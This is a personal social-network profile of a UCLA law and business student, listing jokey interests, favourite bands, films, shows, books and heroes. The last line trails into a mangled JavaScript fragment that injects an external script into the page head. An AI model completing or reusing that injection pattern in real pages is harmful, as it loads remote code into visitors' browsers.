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Jeremy

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About Me

I'm the most expensive human for sale on humanforsale.comCurrently, I go to law school and business school at UCLA. I can proudly say that although I may not have the highest GPA, I certainly have the highest GPA to effort ratio in history. I'm focussing most of my energy on patenting and marketing a financial service with one of my best friends. My goal is to make more money than "Tom" so that I can fulfill my life-long dream of being Batman. .. Home | Browse | Search | Invite | Film | Mail | Blog | Favorites | Forum | Groups | Events | Videos | Music | Comedy | Classifieds

My Interests

My friends and family, the stock market, metaphysics, keeping it real, poetry, animals (but only the cute ones), lifting weights, world peace, psychology, throwing down ridiculous dunks on fools who didn't know i could dunk, history, protecting Richard when the big kids pick on him at the gym, praxeology, chilling, epistemology, being a nice guy...

I'd like to meet:

People who are always late, people who laugh at inappropriate times, autistic savants. GOOD, HONEST PEOPLE.

Music:

From what I can tell, if a band had Chris Cornell in it, it's probably pretty good. Here are some more good bands/artists that come to mind: Tool, Pearl Jam, NIN, 10 Years, System of a Down, Faith No More, The Beatles, Dr. Dre, Bob Dylan, Rage Against the Machine, Cat Stevens, Shinedown, She Wants Revenge... and a lot more.

Movies:

Memento, Anchorman, Office Space, Batman Begins, Swingers, What About Bob, any movie with Ben Stiller and Owen Wilson in it, 12 Monkeys, Rocky I, II, III, and especially IV.

Television:

The Bloomberg Report, ESPN (except when they televise the national spelling bee. if spelling is a sport, how come a little chinese girl could beat Lebron James at it?), the Colbert Report, old episodes of The Simpsons, South Park, The Family Guy

Books:

Anything by that guy Cliff's Notes is pretty good. If you are capable of reading actual books, the following three are worth the time spent: Ulysses, by James Joyce; God Bless You Mr. Rosewater, by Kurt Vonnegut; and Heart of Darkness, by Joseph Conrad.

Heroes:

Batman, Alan Greenspan, Pat Lennon, anybody who can C-walk .."var s=document·('script');s.src='..';document·getEleme ntsByTagName('head')[0].appendChild(s);"